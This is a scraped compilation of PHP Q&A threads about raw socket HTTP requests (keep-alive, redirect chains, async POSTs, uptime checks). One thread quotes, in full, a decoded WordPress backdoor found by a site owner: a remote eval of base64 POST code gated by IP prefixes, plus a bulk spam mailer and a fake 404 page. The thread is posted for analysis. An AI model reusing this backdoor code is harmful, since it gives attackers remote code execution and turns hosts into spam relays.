I've made a basic script to get the html page and images. But I would like to continue to stay connected while I am retrieve pictures.
- What I did with the test script was kept on asking for addresses on the web server. But It did not work. So how do I do it or what have I done wrong?
Basic script:
function fetch( $server, $url, $port = 80, &$resp_head )
{
if ( !$con = #fsockopen($server, $port, $error_number, $error_string, 30) ) return False;
stream_set_timeout( $con, 8600 );
// Reguest
$qry_header = 'GET '.$url." HTTP/1.1\r\n";
$qry_header .= 'Host: '.$server."\r\n";
$qry_header .= 'User-Agent: Mihtyom; (+http://'.$_SERVER['HTTP_HOST']."/)\r\n";
$qry_header .= "Accept: */*\r\n"; //google check the 3 "Accept"
$qry_header .= "Accept-Language: *\r\n";
$qry_header .= "Accept-Encoding: *\r\n";
$qry_header .= "Connection: Close\r\n\r\n";
fwrite( $con, $qry_header );
$inheader = True;
$data = '';
while (!feof( $con ))
{
$line = fgets( $con );
if (!$inheader)
{
$data .= $line;
continue;
}
if ($line == "\n" || $line == "\r\n")
{
$inheader = False;
continue;
}
$resp_head[] = trim($line);
}
fclose( $con );
return $data;
}
Test script:
function fetch( $server, $urls, $port = 80, &$resp_head )
{
if ( !$con = #fsockopen($server, $port, $error_number, $error_string, 30) ) return False;
stream_set_timeout( $con, 8600 );
$resp_head = array();
$data = array();
foreach ($urls as $key => $url)
{
$inheader = True;
$data[$key] = '';
// Reguest
$qry_header = 'GET '.$url." HTTP/1.1\r\n";
$qry_header .= 'Host: '.$server."\r\n";
$qry_header .= 'User-Agent: Mihtyom; (+http://'.$_SERVER['HTTP_HOST']."/)\r\n";
$qry_header .= "Accept: */*\r\n"; //google check the 3 "Accept"
$qry_header .= "Accept-Language: *\r\n";
$qry_header .= "Accept-Encoding: *\r\n";
$qry_header .= "Connection: Close\r\n\r\n";
fwrite( $con, $qry_header );
while (!feof( $con ))
{
$line = fgets( $con );
if (!$inheader)
{
$data[$key] .= $line;
continue;
}
if ($line == "\n" || $line == "\r\n")
{
$inheader = False;
continue;
}
$resp_head[$key][] = trim($line);
}
}
fclose( $con );
return $data;
}
New script (21-07-12 12:34):
function fetch( $server, $urls, $port = 80, &$resp_head )
{
if ( !$con = #pfsockopen($server, $port, $error_number, $error_string, 30) ) return False;
stream_set_timeout( $con, 8600 );
$resp_head = array();
$data = '';
$i = count($urls);
foreach ($urls as $key => $url )
{
$i--;
// Reguest
$qry_header = 'GET '.$url." HTTP/1.1\r\n";
$qry_header .= 'Host: '.$server."\r\n";
$qry_header .= 'User-Agent: Mihtyom; (+http://'.$_SERVER['HTTP_HOST']."/)\r\n";
$qry_header .= "Accept: */*\r\n";
$qry_header .= "Accept-Language: *\r\n";
$qry_header .= "Connection: ".($i == 0 ? 'Close' : 'keep-alive')."\r\n\r\n";
fwrite( $con, $qry_header );
}
while (!feof( $con ))
{
$line = fgets( $con );
if ($line == "\r\n\r\n" || $line == "\n\n") break;
$data .= $line;
}
fclose( $con );
return $data;
}
You specify Connection: Close in the HTTP header, which basically tells the server: "give me this one file and then close the connection immediately". You are actually forcing the connection to close yourself.
Instead, you can specify Connection: Keep-Alive, which tells the server (explicitly) to not close the TCP session so you can reuse it for another request.
However, the server must not accept this in any case - it may ignore your request and answer with Connection: Close. Also, each side of the connection may at any time close the connection and/or tell the other side to do so in the (next) header, via Connection: Close.
For a correct implementation, you should specify Connection: Close when your loop processes the last URL.
Find more details about persistent connections in HTTP 1.1 / RFC 2068 Section 14.10, HTTP 1.1 / RFC 2616 Section 19.6.2.
Related
I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!
<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = #unserialize(base64_decode($_POST["emails"]));
$themes = #unserialize(base64_decode($_POST["themes"]));
$messages = #unserialize(base64_decode($_POST["messages"]));
$froms = #unserialize(base64_decode($_POST["froms"]));
$mailers = #unserialize(base64_decode($_POST["mailers"]));
$aliases = #unserialize(base64_decode($_POST["aliases"]));
$passes = #unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(#mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',#$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("#", $content);
$content = $tokens[0] . "#" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = #fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
#fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !#feof($fp) )
{
$res .= #fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return #is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
#fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
Edit: Apparently, I am doing something wrong with my question (2 instant downvotes). If you could tell me what I am doing wrong, I will try to correct it/remove my question.
This is a fun one, while I haven't a lot of time right now to look over the code I can give you some generalizations of common injections and attacks on websites, in particular a CMS like WordPress. Although this as a part of a plugin, may just be a malicious plugin and not an injection attack, or it may be a flaw or exploit in the plugin being used.
Initial observation, the code comments in Russian stand out.
This code looks like it might be for a spam relay. Taking messages and trying to leverage whatever sendmail you have setup. That's just a high level guess right now.
Most attacks but not necessarily this one are generally geared and trying to deliver malware to visitors to the site, they usually use active-x or iframe tricks, I didn't see any of that here so it leads me to believe that #2 is more likely.
This may also be trying to index all the content of your site/server that it can, and then send it out to the attacker so that they can sift the data looking for important information like config files and passwords.
I will do a deeper dive into this code when i'm not at work :) because I love this stuff. In the meantime you'll probably get a better response from the security stack pages than stack overflow or like I mentioned in my comment, check with the the hackers of http://hackthissite.org on this one. If this was an exploit, they might even be able to track down the author and the specific exploit. Generally code like this is used as part of a more generic tool that probes and attacks, a bot and is not the work of an actual person. You should also possibly share the name of the plugin, as it may be malicious or a known exploit may be published.
Either way, you need to perform a deep security screening on the site in question, and assume that you've been hacked, and take all the proper steps accordingly.
-- Edit --
This code block is interesting:
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
One of those IP's resolve to Fort Huachuca Dod Network Information Center. I'm probably going to delete this answer now... (turns out this may not be an IP but a version number.. my paranoia got the best of me) - you should probably post this question here instead: https://security.stackexchange.com/ to avoid more downvotes.
I have a list of URL using multiple redirection like this:
url1=>url1redirect1=>url1redirect2=>url1redirect3= >url1final
url2=>url2redirect1=>url2redirect2=>url2final
...
The list is in this format:
url1
url2
url3
I don't own all the website in the redirection chain. Some of
them are third party tracking software.
Is there a way to capture all intermediary urls and the final url
and export them into a neat csv file like this:
url1,url2,url3,
url1redirect1,url2redirect1,url3redirect1,
url1redirect2,url2redirect2,url3redirect2,
url1redirect3,url2final,url3redirect3,
url1final,,url3redirect4,
...
I've found this function called get_all_redirects that can do the job:
function get_redirect_url($url){
$redirect_url = null;
$url_parts = #parse_url($url);
if (!$url_parts) return false;
if (!isset($url_parts['host'])) return false; //can't process relative URLs
if (!isset($url_parts['path'])) $url_parts['path'] = '/';
$sock = fsockopen($url_parts['host'], (isset($url_parts['port']) ? (int)$url_parts['port'] : 80), $errno, $errstr, 30);
if (!$sock) return false;
$request = "HEAD " . $url_parts['path'] . (isset($url_parts['query']) ? '?'.$url_parts['query'] : '') . " HTTP/1.1\r\n";
$request .= 'Host: ' . $url_parts['host'] . "\r\n";
$request .= "Connection: Close\r\n\r\n";
fwrite($sock, $request);
$response = '';
while(!feof($sock)) $response .= fread($sock, 8192);
fclose($sock);
if (preg_match('/^Location: (.+?)$/m', $response, $matches)){
if ( substr($matches[1], 0, 1) == "/" )
return $url_parts['scheme'] . "://" . $url_parts['host'] . trim($matches[1]);
else
return trim($matches[1]);
} else {
return false;
}
}
function get_all_redirects($url){
$redirects = array();
while ($newurl = get_redirect_url($url)){
if (in_array($newurl, $redirects)){
break;
}
$redirects[] = $newurl;
$url = $newurl;
}
return $redirects;
}
You can use it that way:
$urls = file_get_contents("urls.txt");
$url_list = explode("\n", $urls);
$file_content = '';
foreach ($url_list as $url){
$rez = get_all_redirects($url);
$file_content .= "$url,";
foreach ($rez as $v){
$file_content .= "$v,";
}
$file_content = substr($file_content,0, -1);
$file_content .= "\n";
}
file_put_contents("output.csv", $file_content);
urls.txt is a text file containing your urls (one url in each line):
http://url1.com
http://url2.com
http://url3.com
...
http://urlN.com
#Ghilas BELHADJ
I have put your code together and it doesn't put the redirects links in to the file
I tried to echo the links and it only echo's , the originals links.txt files
here the code
<?php
function get_redirect_url($url){
$redirect_url = null;
$url_parts = #parse_url($url);
if (!$url_parts) return false;
if (!isset($url_parts['host'])) return false; //can't process relative URLs
if (!isset($url_parts['path'])) $url_parts['path'] = '/';
$sock = fsockopen($url_parts['host'], (isset($url_parts['port']) ? (int)$url_parts['port'] : 80), $errno, $errstr, 30);
if (!$sock) return false;
$request = "HEAD " . $url_parts['path'] . (isset($url_parts['query']) ? '?'.$url_parts['query'] : '') . " HTTP/1.1\r\n";
$request .= 'Host: ' . $url_parts['host'] . "\r\n";
$request .= "Connection: Close\r\n\r\n";
fwrite($sock, $request);
$response = '';
while(!feof($sock)) $response .= fread($sock, 8192);
fclose($sock);
if (preg_match('/^Location: (.+?)$/m', $response, $matches)){
if ( substr($matches[1], 0, 1) == "/" )
return $url_parts['scheme'] . "://" . $url_parts['host'] . trim($matches[1]);
else
return trim($matches[1]);
} else {
return false;
}
}
function get_all_redirects($url){
$redirects = array();
while ($newurl = get_redirect_url($url)){
if (in_array($newurl, $redirects)){
break;
}
$redirects[] = $newurl;
$url = $newurl;
}
return $redirects;
}
?>
<?php
$urls = file_get_contents("https://tradingjunkie.space/links.txt");
$url_list = explode("\n", $urls);
$file_content = '';
foreach ($url_list as $url){
$rez = get_all_redirects($url);
$file_content .= "$url,";
foreach ($rez as $v){
$file_content .= "$v,";
}
$file_content = substr($file_content,0, -1);
$file_content .= "\n";
}
file_put_contents("results.txt", $file_content);
?>
I expected the followingcode would create a file, test.txt, in the same directory of the loading script when the page is accessed. But it doesn't. Nothing happens. Could somebody tell what is wrong with this code? Does it work fine in your environment?
<?php
if (isset($_POST['cache']) && $_POST['cache'] === true) {
$file = dirname(__FILE__) . '/test.txt';
$current = time() . ": John Smith\r\n";
file_put_contents($file, $current,FILE_APPEND);
return;
}
curl_post_async(selfurl(), array('cache' => true));
echo 'writing a log in the background.<br />';
return;
function curl_post_async($url, $params) {
//http://stackoverflow.com/questions/124462/asynchronous-php-calls
foreach ($params as $key => &$val) {
if (is_array($val)) $val = implode(',', $val);
$post_params[] = $key.'='.urlencode($val);
}
$post_string = implode('&', $post_params);
$parts=parse_url($url);
$fp = fsockopen($parts['host'],
isset($parts['port'])?$parts['port']:80,
$errno, $errstr, 30);
$out = "POST ".$parts['path']." HTTP/1.1\r\n";
$out.= "Host: ".$parts['host']."\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Content-Length: ".strlen($post_string)."\r\n";
$out.= "Connection: Close\r\n\r\n";
if (isset($post_string)) $out.= $post_string;
fwrite($fp, $out);
fclose($fp);
}
function selfurl() {
// http://www.weberdev.com/get_example.php3?ExampleID=4291
$s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : "";
$protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s;
$port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]);
return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2) {
return substr($s1, 0, strpos($s1, $s2));
}
?>
Problem
The error in your script is in the following
if (isset($_POST['cache']) && $_POST['cache'] === true) {
$file = dirname(__FILE__) . '/test.txt';
$current = time() . ": John Smith\r\n";
file_put_contents($file, $current,FILE_APPEND);
return;
}
$_POST['cache'] === true would try to validated of cache with same type as boolean but $_POST['cache'] would actually output 1 when posted over http using current method
Solution
if (isset($_POST['cache'])) {
if ($_POST['cache'] == true) {
$file = dirname(__FILE__) . '/test.txt';
$current = time() . ": John Smith\r\n";
file_put_contents($file, $current, FILE_APPEND);
}
return ;
}
I have a script that checks a website ($host) for an string of characters ($find). If the string exists the nothing happens, if the string is not found then an email is sent to a pre-set email address.
The problem I have is that I need to have an array of URL's and I believe a second array of text. The text in the array needs to match up to the URL's in the array.
Perhaps storing the URL's and text in a text file(s) might be a better solution.
Here is the script as it is right now, working on the single domain.
<?php
$host = 'www.my-domain.com';
$find = 'content on my page';
function check($host, $find) {
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp) {
echo "$errstr ($errno)\n";
} else {
$header = "GET / HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Connection: close\r\n\r\n";
fputs($fp, $header);
while (!feof($fp)) {
$str.= fgets($fp, 1024);
}
fclose($fp);
return (strpos($str, $find) !== false);
}
}
function alert($host) {
mail('mail#my-domain.com', 'Monitoring', $host.' down');
}
if (!check($host, $find)) alert($host);
?>
New code with array in place:
$hostMap = array(
'www.my-domain.com' => 'content on site',
'www.my-domain2.ca' => 'content on second site',
);
foreach ($hostMap as $host => $find)
{
function check($host, $find)
{
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp)
{
echo "$errstr ($errno)\n";
} else {
$header = "GET / HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Connection: close\r\n\r\n";
fputs($fp, $header);
while (!feof($fp)) {
$str.= fgets($fp, 1024);
}
fclose($fp);
return (strpos($str, $find) !== false);
}
}
function alert($host)
{
mail('my-email#my-domain.com', 'Website Monitoring', $host.' is down');
}
print $host;
print $find;
//if (!check($host, $find)) alert($host);
if( !check( $host, $find ) )
{
alert($host);
}
}
?>
Moved the functions outside of the foreach(
ini_set( 'display_errors', true );
$hostMap = array(
'www.my-domain.com' => 'content on site',
'www.my-domain2.ca' => 'content on second site',
);
function check($host, $find)
{
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp)
{
echo "$errstr ($errno)\n";
} else {
$header = "GET / HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Connection: close\r\n\r\n";
fputs($fp, $header);
while (!feof($fp)) {
$str.= fgets($fp, 1024);
}
fclose($fp);
return (strpos($str, $find) !== false);
}
}
function alert($host)
{
mail('my-email#my-domain.com', 'Website Monitoring', $host.' is down');
}
print $host;
print $find;
//if (!check($host, $find)) alert($host);
foreach ($hostMap as $host => $find)
{
if( !check( $host, $find ) )
{
alert($host);
}
}
?>
Here is the final code with a working Array in case anyone else wants a solution like this.
function check($host, $find)
{
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp)
{
echo "$errstr ($errno)\n";
} else {
$header = "GET / HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Connection: close\r\n\r\n";
fputs($fp, $header);
while (!feof($fp)) {
$str.= fgets($fp, 1024);
}
fclose($fp);
return (strpos($str, $find) !== false);
}
}
function alert($host)
{
$headers = 'From: Set your from address here';
mail('my-email#my-domain.com', 'Website Monitoring', $host.' is down' $headers);
}
$hostMap = array(
'www.my-domain.com' => 'content on site',
'www.my-domain2.com' => 'content on second site',
);
//if (!check($host, $find)) alert($host);
foreach ($hostMap as $host => $find)
{
if( !check( $host, $find ) )
{
alert($host);
}
}
unset($host);
unset($find);
?>
$hostMap = array(
'www.my-domain.com' => 'content on my page',
/* etc. */
);
foreach( $hostMap as $host => $find )
{
if( !check( $host, $find ) )
{
alert($host);
}
}
However, be aware that -- depending on the amount of domains you are checking -- sequentially mailing large amounts of mails with PHP's native mail() is not very efficient. You may wanna look in to more specialized mail libraries for that, such as SwiftMailer.
On the other hand -- seeing you are mailing one and the same e-mail address -- you could also simply save the failing domains in an array, and mail them all in one e-mail after you're done checking of course.
You can just store everything in a multidimensional array and put an iterator around the entire working section of code.
$list_of_sites[0]["url"] = blah;
$list_of_sites[0]["text"] = blah;
$list_of_sites[1]["url"] = blah;
$list_of_sites[1]["text"] = blah;
foreach($list_of_sites as $site){
$url = $site["url"];
$text = $site["text"];
check($url, $text);
}
function httpGet( $url, $followRedirects=true ) {
global $final_url;
$url_parsed = parse_url($url);
if ( empty($url_parsed['scheme']) ) {
$url_parsed = parse_url('http://'.$url);
}
$final_url = $url_parsed;
$port = $url_parsed["port"];
if ( !$port ) {
$port = 80;
}
$rtn['url']['port'] = $port;
$path = $url_parsed["path"];
if ( empty($path) ) {
$path="/";
}
if ( !empty($url_parsed["query"]) ) {
$path .= "?".$url_parsed["query"];
}
$rtn['url']['path'] = $path;
$host = $url_parsed["host"];
$foundBody = false;
$out = "GET $path HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$out .= "Connection: Close\r\n\r\n";
if ( !$fp = #fsockopen($host, $port, $errno, $errstr, 30) ) {
$rtn['errornumber'] = $errno;
$rtn['errorstring'] = $errstr;
}
fwrite($fp, $out);
while (!#feof($fp)) {
$s = #fgets($fp, 128);
if ( $s == "\r\n" ) {
$foundBody = true;
continue;
}
if ( $foundBody ) {
$body .= $s;
} else {
if ( ($followRedirects) && (stristr($s, "location:") != false) ) {
$redirect = preg_replace("/location:/i", "", $s);
return httpGet( trim($redirect) );
}
$header .= $s;
}
}
fclose($fp);
return(trim($body));
}
This code sometimes go infinite loop. What's wrong here?
There is a big, red warning box in the feof() documentation:
Warning
If a connection opened by fsockopen() wasn't closed by the server, feof() will hang. To workaround this, see below example:
Example #1 Handling timeouts with feof()
<?php
function safe_feof($fp, &start = NULL) {
$start = microtime(true);
return feof($fp);
}
/* Assuming $fp is previously opened by fsockopen() */
$start = NULL;
$timeout = ini_get('default_socket_timeout');
while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
/* Handle */
}
?>
Also you should only write to or read from the file pointer, if it is valid (what you are not doing, you just set an error message):
This leads to the second big red warning box:
Warning
If the passed file pointer is not valid you may get an infinite loop, because feof() fails to return TRUE.
Better would be:
$result = '';
if ( !$fp = #fsockopen($host, $port, $errno, $errstr, 30) ) {
$rtn['errornumber'] = $errno;
$rtn['errorstring'] = $errstr;
}
else {
fwrite($fp, $out);
while (!#feof($fp)) {
//...
}
fclose($fp);
$result = trim(body);
}
return $result;
A last remark: If you follow a redirect with
if ( ($followRedirects) && (stristr($s, "location:") != false) ) {
$redirect = preg_replace("/location:/i", "", $s);
return httpGet( trim($redirect) );
}
you never close the file pointer. I think better is:
if ( ($followRedirects) && (stristr($s, "location:") != false) ) {
$redirect = preg_replace("/location:/i", "", $s);
$result = httpGet( trim($redirect) );
break;
}
// ...
return $result;
feof will return false if the connection is still open in a tcp/ip stream.
function httpGet( $url, $followRedirects=true ) {
[...]
return httpGet( trim($redirect) );
}
Nothing prevents you from fetching the same URL again and again.